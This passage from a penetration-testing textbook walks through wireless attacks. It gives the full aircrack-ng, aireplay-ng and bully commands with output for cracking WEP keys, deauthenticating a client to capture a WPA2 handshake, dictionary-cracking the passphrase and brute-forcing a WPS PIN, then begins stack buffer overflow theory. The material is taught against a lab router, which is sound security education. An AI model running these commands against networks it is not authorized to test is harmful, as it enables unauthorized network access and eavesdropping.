I’ll also be using an Alfa Networks AWUS036H USB wireless card. This card, and similar Alfa USB models, are ideal for wireless security assessments, particularly when working with virtual machines. VMware doesn’t have drivers for wireless cards, but it is capable of USB passthrough, allowing us to use the wireless drivers built into Kali Linux from a virtual machine. The use of a USB wireless card will allow us to assess wireless networks from our virtual machine. Viewing Available Wireless Interfaces
After attaching the Alfa wireless card to the Kali virtual machine, enter iwconfig to see the wireless interfaces available on your virtual machine.
Note in my case that the Alfa card is attached as wlan0 u, as shown in
Listing 15-1. root@kali:~# iwconfig wlan0u IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated

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Tx-Power=20 dBm

Retry long limit:7
Encryption key:off
Power Management:off

RTS thr:off

lo

no wireless extensions.

eth0

Fragment thr:off

no wireless extensions.

Listing 15-1: Kali Linux wireless interfaces

Scan for Access Points
Now we can scan for nearby access points. The command iwlist wlan0 scan will scan for nearby access points using the wlan0 interface, as shown in
Listing 15-2. root@kali:~# iwlist wlan0 scan
Cell 02 - Address: 00:23:69:F5:B4:2Bu
Channel:6v
Frequency:2.437 GHz (Channel 6)
Quality=47/70 Signal level=-63 dBm
Encryption key:offw
ESSID:"linksys"x
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 14 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
--snip-Listing 15-2: Scanning for nearby wireless access points

From this initial scan we gather almost all the information we’ll need in order to attack the base station, as you’ll see later in the chapter. We have its MAC address u, the channel it’s broadcasting on v, we learn that it’s not using encryption at this time w, and we have its SSID x.

Monitor Mode
Before proceeding, let’s put our Alfa card into monitor mode. Much like promiscuous mode in Wireshark, monitor mode allows us to see additional wireless traffic on top of the traffic intended for our wireless card. We’ll use the Airmon-ng script, part of the Aircrack-ng wireless assessment suite, to put the Alfa card into monitor mode. First, make sure that no running processes will interfere with monitor mode by entering airmon-ng check, as shown in Listing 15-3. root@kali:~# airmon-ng check
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!
-e
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PID
2714
5664

Name
NetworkManager
wpa_supplicant

Listing 15-3: Checking for interfering processes

As you can see, Airmon found two running processes that could interfere. Depending on your wireless card and its drivers, you may or may not run into any trouble if you don’t kill off these programs. The card we’re using shouldn’t have trouble, but some USB wireless cards do. To kill all interfering processes in one step, enter airmon-ng check kill, as shown in
Listing 15-4. root@kali:~# airmon-ng check kill
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!
-e
PID
Name
2714
NetworkManager
5664 wpa_supplicant Killing all those processes...
Listing 15-4: Killing interfering processes

Now enter airmon-ng start wlan0 to switch the wireless interface into monitor mode, as shown in Listing 15-5. This will allow us to capture packets not intended for us. Airmon-ng creates the wireless interface mon0 u. root@kali:~# airmon-ng start wlan0
Interface
Chipset
Driver
wlan0
Realtek RTL8187L rtl8187 - [phy0]
(monitor mode enabled on mon0) u
Listing 15-5: Putting the Alfa card in monitor mode

Capturing Packets
With our interface in monitor mode, let’s see what data we can gather using
Airodump-ng from the Aircrack-ng suite. Airodump-ng is used to capture and save wireless packets. Listing 15-6 shows how we tell Airodump-ng to use the wireless interface in monitor mode mon0. root@kali:~# airodump-ng mon0 --channel 6
CH 6 ][ Elapsed: 28 s ][ 2015-05-19 20:08
BSSID

PWR

Beacons

00:23:69:F5:B4:2Bu

-30

53

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#Data, #/s
2

0

CH
6

MB

ENC

54 . OPNv

CIPHER AUTH ESSID linksysw BSSID

STATION

PWR

Rate

Lost

Frames

Probe

00:23:69:F5:B4:2B

70:56:81:B2:F0:53x

-21

0

-54

42

19

Listing 15-6: Starting a packet dump with Airodump-ng

The Airodump-ng output gathers information about the wireless packets, including the base service set identification (BSSID), which is the base station’s MAC address u. We also see additional information such as the encryption algorithm used for wireless security v and the Service Set Identification
(SSID) w. Airodump-ng also picks up the MAC addresses of connected clients x and the MAC address of my host machine attached to the wireless access point. (We’ll examine the other fields in the Airodump-ng output as we move through cracking wireless security later in the chapter.)
Now we know the Linksys access point is open, with no security.

Open Wireless
Open wireless networks are a real disaster from a security perspective because anyone within antenna range of the access point can connect to that network. While open networks could require authentication after connection, and some do, many just let anyone connect.
Also, the wireless packets traveling through an open network are not encrypted, and anyone listening can see any data in plaintext. Sensitive data may be secured by protocols like SSL, but that’s not always the case.
For instance, FTP traffic on an open wireless network is completely unencrypted, including login information, and we don’t even need to use ARP or DNS cache poisoning to capture the packets. Any wireless card in monitor mode will be able to see the unencrypted traffic.
Now let’s look at attacking networks that deploy various security protocols that keep unwanted entities from connecting to the network and intercepting traffic.

Wired Equivalent Privacy
Many routers that come with encryption enabled use older encryption called wired equivalent privacy (WEP) by default. The fundamental problem with WEP is that flaws in its algorithm make it possible for an attacker to recover any WEP key. WEP uses the Rivest Cipher 4 (RC4) stream cipher and a pre-shared key. Anyone who wants to connect to the network can use the same key, made up of a string of hexadecimal digits, for both encryption and decryption. The plaintext (unencrypted) data undergoes an exclusive or (XOR) bitwise operation with the keystream to create encrypted ciphertext. Wireless Attacks

343

The bitwise XOR operation has four possibilities:
•
•
•
•

0 XOR 0 = 0
1 XOR 0 = 1
0 XOR 1 = 1
1 XOR 1 = 0

The zeros and ones in the bitstream in Figures 15-2 and 15-3 can represent any data being sent over the network. Figure 15-2 shows how the plaintext is
XORed with the keystream to create the ciphertext.
Plaintext: 101101100000111100101010001000...

Keystream: 110001101011100100011100110100...
Ciphertext: 011100001011011100100110001100...

Figure 15-2: WEP encryption

When decrypted, the same keystream is XORed against the ciphertext to restore the original plaintext, as shown in Figure 15-3.
Ciphertext: 011100001011011100100110001100...

Keystream: 110001101011100100011100110100...
Plaintext: 101101100000111100101010001000...

Figure 15-3: WEP decryption

The shared WEP key can be either 64 or 148 bits. In either case, an initialization vector (IV) makes up the first 24 bits of the key to add randomness, making the effective key length really only 40 or 104 bits. Adding randomness with an IV is common in cryptographic systems because if the same key is used repeatedly, attackers can examine the resulting ciphertext for patterns and potentially break the encryption.

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Note

Cryptanalysts often find that randomness is not correctly implemented in cryptographic algorithms, as is the case with WEP. For starters, WEP’s 24 bits of randomization is minimal by modern cryptographic standards.
The IV and key are concatenated, then run through a key-scheduling algorithm (KSA) and a pseudorandom number generator (PRNG) to create the keystream. (I’ll skip the math here.) Next, an integrity check value
(ICV) is computed and concatenated with the plaintext before encryption in order to prevent attackers from intercepting the ciphertexts, flipping some bits, and changing the resulting decrypted plaintext to something malicious or, at least, misleading. The plaintext is then XORed with the keystream (as shown in Figure 15-2). The resulting packet is made up of the IV, the ICV, the ciphertext, and a two-bit key ID, as shown in Figure 15-4.
IV

IV
KSA

key

PRNG key ID

message

ciphertext

ICV

ICV

Figure 15-4: WEP encryption

Decryption is similar, as shown in Figure 15-5. The IV and key (denoted by the key ID), stored in plaintext as part of the packet, are concatenated and run through the same key-scheduling algorithm and pseudorandom number generators to create a keystream identical to the one used for encryption. The ciphertext is then XORed with the keystream to reveal the plaintext and the ICV. Finally, the decrypted ICV is compared with the plaintext ICV value appended to the packet. If the values don’t match, the packet is thrown out.

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345

IV

key ID

KSA

PRNG

key

ciphertext

message

ICV

ICV

Figure 15-5: WEP decryption

WEP Weaknesses
Unfortunately, WEP has some inherent problems that allow an attacker to recover a key or alter legitimate packets. In fact, every WEP key is recoverable by an attacker armed with enough ciphertexts encrypted with the same shared key. The only cryptosystem that is truly secure is a random one-time pad, which uses a specific key only once. The main trouble with WEP is that the 24-bit IV doesn’t introduce enough randomness; it has at most 224 (that is, 16,777,216) values.
There is no standard way for wireless cards and access points to compute IVs, and in practice, the IV space used may be even smaller. Either way, given enough packets, IVs will be reused, and the same value (static key concatenated with the IV) will be used to generate the ciphertext. By passively listening for traffic (or better yet, injecting traffic into the network to force more packets and, thus, more IVs to be generated), an attacker can gather enough packets to perform cryptanalysis and recover the key.
Similarly, the ICV that attempts to keep attackers from intercepting the encrypted message, flipping bits, and changing the resulting plaintext is insufficient. Unfortunately, weaknesses in the ICV implementation Cyclic
Redundancy Check 32 (CRC-32) may allow attackers to craft the correct
ICV for a modified message. Because CRC-32 is a linear algorithm, flipping a specific bit in the ciphertext has a deterministic result on the resulting
ICV, and an attacker with knowledge of how CRC-32 is calculated could cause a modified message to be accepted. Thus, the ICV implementation, like the IV, is not considered sound by modern cryptographic standards.
We can use the Aircrack-ng suite to recover the shared key from a wireless network secured with WEP. Again, the math behind the cryptographic attacks is beyond the scope of this book. Luckily, we have tools that will take care of the hard stuff if we can capture the required traffic.
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Cracking WEP Keys with Aircrack-ng
There are multiple ways to crack WEP keys, including the fake authentication attack, fragmentation attack, chopchop attack, caffé latte attack, and
PTW attack. We’ll take a closer look at the fake authentication attack, which requires at least one legitimate client connected to the access point.
We’ll use the host system to simulate an attached client. First, change the wireless security on your router to WEP (see your user guide if you need help), and then make sure your wireless card is in monitor mode so that you can capture traffic from the network without first authenticating.
Now to see what data we can collect using the Airodump-ng tool from
Aircrack-ng. Tell Airodump-ng to use the wireless interface in monitor mode mon0, as shown in Listing 15-7, and use the -w flag to save all packets to a file. root@kali:~# airodump-ng -w book mon0 --channel 6
CH 6 ][ Elapsed: 20 s ][ 2015-03-06 19:08
BSSID
PWR
Beacons
#Data, #/s
CH
MB
ENC
CIPHER AUTH ESSID
00:23:69:F5:B4:2Bu
-53
22
6
0
6v 54 . WEPw WEP linksysx BSSID
STATION
PWR
Rate
Lost
Frames
Probe
00:23:69:F5:B4:2B
70:56:81:B2:F0:53
-26
54-54
0
6
Listing 15-7: Airodump-ng capture for WEP cryptanalysis

This initial scan gathers all the information we need to begin a WEP attack against the base station. Here we have the BSSID u, wireless channel v, encryption algorithm w, and the SSID x. We’ll use this information to gather the packets to crack the WEP key. Your own setup’s information is likely different, of course, but here’s what we’ll work with:
•
•
•

Base Station MAC Address: 00:23:69:F5:B4:2B
SSID: linksys
Channel: 6

Injecting Packets
Although the Airodump-ng output in Listing 15-7 shows some traffic from the access point, to crack a 64-bit WEP key, we need about 250,000 IVs, and for a 148-bit WEP key, about 1,500,000. Rather than idly listen for packets, we’ll capture and retransmit packets to the access point to generate unique
IVs quickly. We need to authenticate, because if our MAC address isn’t authenticated with the access point, any packets we send will be dropped, and we’ll receive a deauthentication request. We’ll use Aireplay-ng to fake authentication with the access point and trick it into responding to our injected packets.
When using fake authentication, we tell the access point we’re ready to prove we know the WEP key, as shown in Listing 15-8. Of course, because we don’t know the key yet, we don’t send it, but our MAC address is now on the list of clients that can send packets to the access point, hence the fake authentication. Wireless Attacks

347

root@kali:~# aireplay-ng -1 0 -e linksys -a 00:23:69:F5:B4:2B -h 00:C0:CA:1B:69:AA mon0
20:02:56 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
20:02:56
20:02:56
20:02:56
20:02:56

Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1) u

Listing 15-8: Fake authentication with Aireplay-ng

We fake authentication using the following flags with their associated data:
•
•
•
•
•
•

-1 tells Aireplay-ng to fake authentication.
0 is the retransmission time.
-e is the SSID; in my case linksys.
-a is the MAC address of the access point we want to authenticate with.
-h is the MAC address of our card (which should be on a sticker on the

device). mon0 is the interface to use for the fake authentication.

After sending the Aireplay-ng request, you should receive a smiley face and indication that authentication was successful u.
Generating IVs with the ARP Request Relay Attack
With the base station willing to accept packets from us, we can capture and rebroadcast legitimate packets. While the access point won’t allow us to send traffic without first sending the WEP key to authenticate, we can rebroadcast traffic from properly authenticated clients.
We’ll use the attack technique known as ARP Request Replay to generate IVs quickly by having Aireplay-ng listen for an ARP request and then retransmit it back to the base station. (When the access point receives an
ARP request, it rebroadcasts it with a new IV.) Aireplay-ng will rebroadcast the same ARP packet repeatedly, and each time it’s broadcast, it will have a new IV.
Listing 15-9 shows the attack in action. Aireplay-ng reads packets looking for an ARP request. You won’t see any data until Aireplay-ng sees an
ARP request it can rebroadcast. We will see that next. root@kali:~# aireplay-ng -3 -b 00:23:69:F5:B4:2B -h 00:C0:CA:1B:69:AA mon0
20:14:21 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
Saving ARP requests in replay_arp-1142-201521.cap
You should also start airodump-ng to capture replies.
Read 541 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
Listing 15-9: Rebroadcasting ARP packets with Aireplay-ng

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We use these options:
•
•
•
•

-3 performs the ARP request replay attack.
-b is the base station MAC address.
-h is our Alfa card MAC address. mon0 is the interface.

Generating an ARP Request
Unfortunately, as you can see in Listing 15-9, we don’t see any ARP requests.
To generate an ARP request, we’ll use the host system as a simulated client by pinging an IP address on the network from the connected host system.
Aireplay-ng will see the ARP request and retransmit it to the access point over and over.
As you can see in the Airodump-ng screen, shown in Listing 15-10, the
#Data u number, indicating captured IVs, increases rapidly as Aireplay-ng continues to retransmit the ARP packet, causing the access point to generate more IVs. (If your aireplay-ng -3 says "Got adeauth/disassoc" or something similar and your #Data number is not quickly rising, run the fake association command from Listing 15-8 again to reassociate with the access point. Your
#Data field should again start rising rapidly.)
CH

6 ][ Elapsed: 14 mins ][ 2015-11-22 20:31

BSSID

PWR

RXQ

Beacons

#Data, #/s

CH

00:23:69:F5:B4:2B

-63

92

5740

85143u 389

6

MB

ENC

54 . WEP

CIPHER AUTH ESSID
WEP

OPN

linksys

Listing 15-10: IVs being captured in Airodump-ng

Cracking the Key
Remember, we need about 250,000 IVs to crack a 64-bit WEP key. As long as you remain associated with the base station, as shown in Listing 15-8,
(rerunning the command if it becomes necessary) and have generated an
ARP request on the network, it should only take a few minutes to collect enough IVs. Once we’ve gathered enough IVs, we can use Aircrack-ng to do the math to turn the collected IVs into the correct WEP key. Listing 15-11 shows how we crack the key by using the -b flag and providing the filename we used in Airodump-ng followed by *.cap u. This tells Aircrack-ng to read from all .cap files saved by Airodump-ng. root@kali:~# aircrack-ng -b 00:23:69:F5:B4:2B book*.capu
Opening book-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 239400 ivs.
KEY FOUND! [ 2C:85:8B:B6:31 ] v
Decrypted correctly: 100%
Listing 15-11: Recovering the WEP key with Aircrack-ng
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349

After a few seconds of analysis Aircrack-ng returns the correct key v.
We can now authenticate with the network. If this were a pentest client’s network, we could now directly attack any systems on the network.
Challenges with WEP Cracking
As with many topics discussed in this book, information about wireless attacks could fill a book, and I’ve shown you only one attack. One thing to keep in mind when attacking WEP is that clients may use filters in an attempt to thwart attacks like this. For example, access points could use
MAC filtering to allow only wireless cards with certain MAC addresses to connect, and if your Alfa card isn’t on the list, your fake authentication attempt will fail. To bypass MAC filtering, you could use a tool like MAC
Changer in Kali to spoof a MAC address and create an accepted value.
Keep in mind that WEP keys are always crackable if we can gather enough packets, and for security reasons, WEP encryption should not be used in production. It’s worth noting that the Wifite tool, installed by default in Kali Linux, behaves as a wrapper around the Aircrack-ng suite and will automate the process of attacking wireless networks, including cracking WEP. But while you are learning how Wi-Fi attacks work, it is better to walk through the process step by step instead of using an automation wrapper.
We now turn our attention to the stronger wireless encryption protocols, WPA and WPA2.

Wi-Fi Protected Access
As weaknesses in WEP came to light, a more robust wireless security system was needed and a new system (which ultimately became WPA2) was built to replace WEP. However, the creation of a secure cryptographic system for wireless took time, and in the meantime, additional security was needed that was compatible with deployed wireless hardware. Thus, Wi-Fi Protected
Access (WPA), also known as Temporal Key Integrity Protocol (TKIP), was born.
WPA uses the same underlying algorithm as WEP (RC4) but seeks to address WEP’s weaknesses by adding keystream randomness to IVs and integrity to ICV. Unlike WEP, which uses a 40- or 104-bit key combined with weak IVs for each packet, WPA generates a 148-bit key for each packet to ensure that each packet is encrypted with a unique keystream.
Additionally, WPA replaces WEP’s weak CRC-32 message integrity check with a message authentication code (MAC) algorithm called Michael, to prevent attackers from easily calculating the resulting changes to the ICV when a bit is flipped. Though both WPA and even WPA2 have their weaknesses, the most common vulnerability (which we’ll exploit later in this chapter) is the use of weak passphrases.

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WPA2
WPA2 was built from the ground up to provide a secure encryption system for wireless networks. It implements an encryption protocol built specifically for wireless security called Counter Mode with Cipher Block Chaining
Message Authentication Code Protocol (CCMP). CCMP is built on the Advanced
Encryption Standard (AES).
WPA and WPA2 support both personal and enterprise setups. WPA/
WPA2 personal uses a pre-shared key, similar to WEP. WPA/WPA2 enterprise adds an additional element called a Remote Authentication Dial-In User
Service (RADIUS) server to manage client authentication.

The Enterprise Connection Process
In WPA/WPA2 enterprise networks, the client connection process comprises four steps, as shown in Figure 15-6. First the client and the access point agree on mutually supported security protocols. Then, based on the authentication protocol chosen, the access point and the RADIUS server exchange messages to generate a master key. Once a master key is generated, a message that authentication was successful is sent to the access point and passed on to the client, and the master key is sent to the access point.
The access point and the client exchange and verify keys for mutual authentication, message encryption, and message integrity via a four-way handshake, as discussed in “The Four-Way Handshake” on this page. Following key exchange, traffic between the client and the access point is secured with
WPA or WPA2. protocol agreement authentication key distribution client access point

encryption

master key distribution
RADIUS server

Figure 15-6: WPA/WPA2 enterprise connection

The Personal Connection Process
The WPA/WPA2 personal connection process is slightly simpler than the enterprise one: No RADIUS server is required, and the entire process is between the access point and the client. No authentication or master key step occurs, and instead of a RADIUS server and master key, WPA/WPA2 personal use pre-shared keys, which are generated using pre-shared passphrases.
The WPA/WPA2 personal passphrase that you enter when you connect to a secured network is static, whereas enterprise setups use dynamic keys generated by the RADIUS server. Enterprise setups are more secure, but most personal networks and even most small businesses lack RADIUS servers.

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The Four-Way Handshake
In the first phase of the connection between an access point and supplicant
(client), a pairwise master key (PMK), which is static throughout the entire session, is created. This is not the key that will be used for encryption itself, but it will be used during the second phase, where a four-way handshake will take place between access point and client, with the purpose of establishing a channel of communication and exchanging the encryption keys used for further data communication, as shown in Figure 15-7.
ANonce
SNonce + MIC
GTK + MIC
Ack

Figure 15-7: WPA/WPA2 four-way handshake

This PMK is generated from the following:
•
•
•
•
•

The passphrase (pre-shared key, or PSK)
The access point’s SSID
The SSID length
The number of hashing iterations (4096)
The resulting length in bits (256) of the generated shared key (PMK)

These values are fed into a hashing algorithm called PBKDF2, which creates a 256-bit shared key (PMK). While your passphrase (PSK) may be
GeorgiaIsAwesome, this is not the PMK that will be used in a second phase.
That said, anyone who knows the passphrase and the access point’s SSID can use the PBKDF2 algorithm to generate the correct PMK. During the four-way handshake, a pairwise transient key (PTK) is created and used to encrypt traffic between the access point and the client; a group transient key (GTK) is exchanged and used to encrypt broadcast traffic. The PTK is made up of the following:
•
•
•
•
•

The shared key (the PMK)
A random number (nonce) from the access point (ANonce)
A nonce from the client (SNonce)
The MAC address of the client
The MAC address of the access point

These values are fed into the PBKDF2 hashing algorithm to create the PTK.
To generate the PTK, the access point and the client exchange MAC addresses and nonces (random values). The static shared key (PMK) is never sent over the air, because both the access point and the client know the passphrase (PSK) and, thus, can generate the shared key independently.
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The shared nonces and MAC addresses are used by both the client and the access point to generate the PTK. In the first step of the four-way handshake, the access point sends its nonce (ANonce). Next, the client chooses a nonce, generates the PTK, and sends its nonce (SNonce) to the access point. (The S in SNonce stands for supplicant, another name for the client in a wireless setup.)
In addition to sending its nonce, the client sends a message integrity code (MIC) to guard against forgery attacks. In order to compute the correct
MIC, the passphrase used to generate the pre-shared key must be correct, or the PTK will be wrong. The access point independently generates the PTK based on the SNonce and MAC address sent by the client, then checks the
MIC sent by the client. If it’s correct, the client has authenticated successfully, and the access point sends over the GTK plus the MIC to the client.
In the fourth part of the handshake, the client acknowledges the GTK.

Cracking WPA/WPA2 Keys
Unlike WEP, the cryptographic algorithms used in WPA and WPA2 are robust enough to stop attackers from recovering the key simply by capturing enough traffic and performing cryptanalysis. The Achilles’ heel in
WPA/WPA2 personal networks lies in the quality of the pre-shared key
(passphrase) used. If the Windows Administrator password you found during post exploitation is the same as the WPA or WPA2 personal passphrase or the passphrase is written on a whiteboard in the front office of the organization, it’s game over.
To try to guess a weak password, we first need to capture the four-way handshake for analysis. Recall that given the correct passphrase and the
SSID of the access point, the PBKDF2 hashing algorithm can be used to generate the shared key (PMK). Given the PMK, we still need the ANonce,
SNonce, and the MAC addresses of the access point and client to calculate the PTK. Of course, the PTK will differ for each client, because the nonces will differ in each four-way handshake, but if we can capture a four-way handshake from any legitimate client, we can use its MAC addresses and nonces to calculate the PTK for a given passphrase. For example, we can use the SSID and the passphrase password to generate a PMK, then combine the generated PMK with the captured nonces and MAC addresses to calculate a PTK. If the MICs comes out like the ones in the captured handshake, we know that password is the correct passphrase. This technique can be applied to a wordlist of possible passphrases to try to guess the correct passphrase. Luckily, if we can capture a four-way handshake and supply a wordlist, we have Aircrack-ng to take care of all the math.
Using Aircrack-ng to Crack WPA/WPA2 Keys
To use Aircrack-ng to crack WPA/WPA2, first set up your wireless access point for WPA2 personal. Choose a pre-shared key (passphrase) and then connect your host system to your access point to simulate a real client.

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To use a wordlist to try to guess the WPA2 pre-shared key (passphrase), we need to capture the four-way handshake. Enter airodump-ng -c 6 for the channel, --bssid with the base station MAC address, -w to specify the filename for output (use a different filename than you used in the WEP cracking example), and mon0 for the monitor interface, as shown in Listing 15-12. root@kali:~# airodump-ng -c 6 --bssid 00:23:69:F5:B4:2B -w pentestbook2 mon0
CH 6 ][ Elapsed: 4 s ][ 2015-05-19 16:31
BSSID

PWR RXQ Beacons

00:23:69:F5:B4:2B -43 100
BSSID

#Data, #/s CH MB

66

157

STATION

PWR

00:23:69:F5:B4:2B 70:56:81:B2:F0:53 -33

17

Rate

ENC CIPHER AUTH E

6 54 . WPA2 CCMP
Lost

54-54

PSK l

Frames Probe

15

168 u

Listing 15-12: Airodump-ng for WPA2 cracking

As you can see the host is connected u. To capture a four-way handshake, we can either wait for another wireless client to sign on or speed up the process by kicking a client off the network and forcing it to reconnect.
To force a client to reconnect, use Aireplay-ng to send a message to a connected client telling it that it is no longer connected to the access point.
When the client reauthenticates, we’ll capture the four-way handshake between the client and access point. The Aireplay-ng options we’ll need are:
•
•
•
•

-0 means deauthentication.
1 is the number of deauthentication requests to send.
-a 00:14:6C:7E:40:80 is the MAC address of the base station.
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client to deauthenticate.

Listing 15-13 shows the aireplay-ng command and the deauthentication request. root@kali:~# aireplay-ng -0 1 -a 00:23:69:F5:B4:2B -c 70:56:81:B2:F0:53 mon0
16:35:11 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
16:35:14 Sending 64 directed DeAuth. STMAC: [70:56:81:B2:F0:53] [24|66 ACKs]
Listing 15-13: Sending a deauthentication request to a client

Now we return to the Airodump-ng window, as shown in Listing 15-14.
CH

6 ][ Elapsed: 2 mins ][ 2015-11-23 17:10 ][ WPA handshake: 00:23:69:F5:B4:2B u

BSSID

PWR RXQ

Beacons

00:23:69:F5:B4:2B

-51 100

774

354 Chapter 15

#Data, #/s
363

18

CH
6

MB

ENC

CIPHER AUTH ESSID

54 . WPA2 CCMP

PSK

linksys

BSSID

STATION

PWR

Rate

00:23:69:F5:B4:2B

70:56:81:B2:F0:53

-29

1 - 1

Lost

Frames

47

Probe

457

Listing 15-14: WPA2 handshake captured in Airodump-ng

If the Airodump-ng capture sees a four-way handshake with a client, it records it in the first line of the captured output u.
Once you’ve captured the WPA2 handshake, close Airodump-ng, and open the .cap file in Wireshark with FileOpenfilename.cap. Once in
Wireshark, filter for the eapol protocol to see the four packets that make up the handshake, as shown in Figure 15-8.

Figure 15-8: WPA2 handshake packets in Wireshark

Note

Sometimes Aircrack-ng will claim that the handshake has been captured, but when you look at the packets in Wireshark, you will see you do not have all four messages. If this is the case, run the deauthentication attack again, as you will need all four messages to attempt to guess the correct key.
Now we create a wordlist like the ones we used in Chapter 9, making sure that the correct WPA2 key is included in the list. The success of our attack against WPA2 is contingent on our ability to compare the hashed values for our passphrase with the values in the handshake.
Once we have the handshake, we can do the rest of the calculations to recover the key offline; we no longer need to be in range of the access point or send it any packets. Next we use Aircrack-ng to test the keys in the wordlist, specifying a list with the -w option, as shown in Listing 15-15.
Otherwise, the command is identical to cracking the WEP key. If the correct key is in the wordlist, it will be recovered with Aircrack-ng.
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355

root@kali:~# aircrack-ng -w password.lst -b 00:23:69:F5:B4:2B pentestbook2*.cap
Opening pentestbook2-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 beta2
[00:00:00] 1 keys tested (178.09 k/s)
KEY FOUND! [ GeorgiaIsAwesome ] u
Master Key

: 2F 8B 26 97 23 D7 06 FE 00 DB 5E 98 E3 8A C1 ED
9D D9 50 8E 42 EE F7 04 A0 75 C4 9B 6A 19 F5 23

Transient Key

: 4F
49
B7
80

EAPOL HMAC

: 91 97 7A CF 28 B3 09 97 68 15 69 78 E2 A5 37 54

0A
22
36
9B

3B
DA
08
EF

C1
71
AB
C7

1F
33
9C
4E

66
A0
E6
60

B6
6B
E5
D7

DF
CF
15
9C

2F
2F
5D
37

F9
D3
3F
B9

99
BE
EA
7D

FF
DB
C7
D3

2F
3F
69
5C

05
E1
E8
A0

89
DB
F8
9E

5E
17
22
8C

Listing 15-15: Recovering a WPA2 key with Aircrack-ng

As you can see, the correct key is in our wordlist and is recovered u.
This sort of dictionary attack against WPA/WPA2 can be prevented by using a strong passphrase, as discussed in Chapter 9.
Aircrack-ng is just one suite of tools for cracking wireless. It is ideal for beginners, because starting different tools for each step of the process will help you become familiar with how these attacks work. Other widely used
Wi-Fi auditing tools that you may encounter are Kismet and Wifite.

Wi-Fi Protected Setup
Wi-Fi Protected Setup (WPS) was designed to allow users to attach their devices to secure networks with an eight-digit pin instead of a potentially long and complicated passphrase. When the correct pin is supplied, the access point sends over the passphrase.

Problems with WPS
The last digit of the pin is a checksum for the previous seven digits, so the keyspace should be 107, or 10,000,000 possible pins. However, when a pin is sent to the access point by the client, the validity of the first four digits and second four digits is reported separately. The first four digits are all in play, so there are 10,000 possibilities. Of the second four digits, only the first three are in play (1000 possible guesses), so it would take at most
11,000 guesses to brute-force the correct WPS pin. This decreases the time required to brute-force to under four hours. The only way to fix this issue is to disable WPS on the access point.

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Cracking WPS with Bully
Kali provides tools that you can use to implement a brute-force attack against WPS. One such tool is Bully. We can use Bully to brute-force the
WPS pin as well as test a specific pin. To use Bully we need the SSID, MAC address, and channel of the access point, which we found with iwlist at the beginning of this chapter. Use the -b flag to specify the MAC address, the
-e flag for the SSID, and the -c flag for the channel, as shown here. root@kali:~# bully mon0 -b 00:23:69:F5:B4:2B -e linksys -c 6

Bully should be able to brute-force the pin in around four hours and recover the correct pre-shared PIN. WPS is enabled by default on many wireless access points and may be an easier way in than guessing a strong
WPA/WPA2 passphrase.

Summary
Wireless security is an often-overlooked piece of an organization’s security posture. Time and money are put into securing the perimeter, deploying the latest firewalls and intrusion-prevention systems, but all this is for naught if an attacker can just sit at the coffee shop across the street with a strong antenna and join your corporate network. Wireless connections may save corporations from lawsuits by distracted employees tripping over
Ethernet wires, but they introduce potential security vulnerabilities and should be audited regularly. In this chapter, we used Aircrack-ng to recover
WEP and WPA2 personal wireless keys by eavesdropping on and injecting traffic into a wireless network, and we used Bully to brute-force a WPS pin.

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357

Part IV
E xploit De velopment

16

A S t a c k- B a s e d B u f f e r
Ov e r f l o w i n L i n u x

So far we’ve used tools such as Metasploit and public exploit code on the Internet to exploit our target systems. But you may find a vulnerability in your pentesting career that has no such exploit code, or you may discover a new security issue and want to write your own exploit code for it. In this chapter and the next three, we will look at the basics of writing our own exploits. We won’t cover everything through the latest and greatest iPhone jailbreak, but we will look at some real-world examples of vulnerable programs and learn how to write working exploits for them by hand.
We’ll begin with a simple vulnerable program on our Linux target and make the program do something its developer never intended.
Note

All of the examples in Chapters 16 through 19 use x86 architecture.

Memory Theory
Before we dive into writing our own exploits, we need to get a handle on the basics of how memory works. Our goal is to manipulate memory and trick the CPU into executing instructions on our behalf. We’ll use a technique called a stack-based buffer overflow, which involves overfilling a variable on the program’s memory stack and overwriting adjacent memory locations.
But first, we need to know a little bit about how a program’s memory is laid out, as shown in Figure 16-1. low memory text data heap unused memory

stack high memory

Figure 16-1: Memory visualization

The text segment contains the program code to be executed, while the data segment contains global information for the program. At higher addresses, we have a portion shared by the stack and heap, which are allocated at runtime. The stack is fixed in size and is used to store function arguments, local variables, and so on. The heap holds dynamic variables.
The stack consumption increases as more functions or subroutines are called, and the top of the stack points at lower memory addresses as more data is stored on the stack.
Our Intel-based CPU has general-purpose registers where it can store data for future use. These include:
EIP instruction pointer
ESP stack pointer
EBP base pointer
ESI source index
EDI destination index
EAX accumulator
EBX base

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ECX counter
EDX data
ESP, EBP, and EIP are particularly interesting to us. ESP and EBP together keep track of the stack frame of the currently executing function.
As shown in Figure 16-2, ESP points to the top of the stack frame at its lowest memory address, and likewise, EBP points to the highest memory address at the bottom of the stack frame. EIP holds the memory address of the next instruction to be executed. Because our goal is to hijack execution and make the target machine execute what we want, EIP seems like a prime target for compromise. But how do we get our instructions to EIP? EIP is read only, so we can’t just put a memory address to be executed in this register; we will need to be a bit cleverer. low memory
ESP
main’s stack frame

EBP high memory

Figure 16-2: Stack frame

The stack is a last-in, first-out data structure. You can think of it like a stack of lunch trays at a cafeteria. The last tray that is added to the stack is the first tray that is taken off when one is needed. To add data to the stack, a PUSH instruction is used. Likewise, to remove data from the stack, we use a
POP instruction. (Remember that the stack consumption increases to lower memory addresses, so when data is pushed onto the current stack frame,
ESP moves to a lower address in memory.)
When a program function is executed, a stack frame for its information (such as local variables) is pushed onto the stack. Once the function finishes executing, the entire stack frame is unwound, ESP and EBP point back to the caller function’s stack frame, and execution continues in the caller function where it left off. However, the CPU must know where in memory to continue from, and it obtains that information from the return address, which is pushed onto the stack when a function is called.
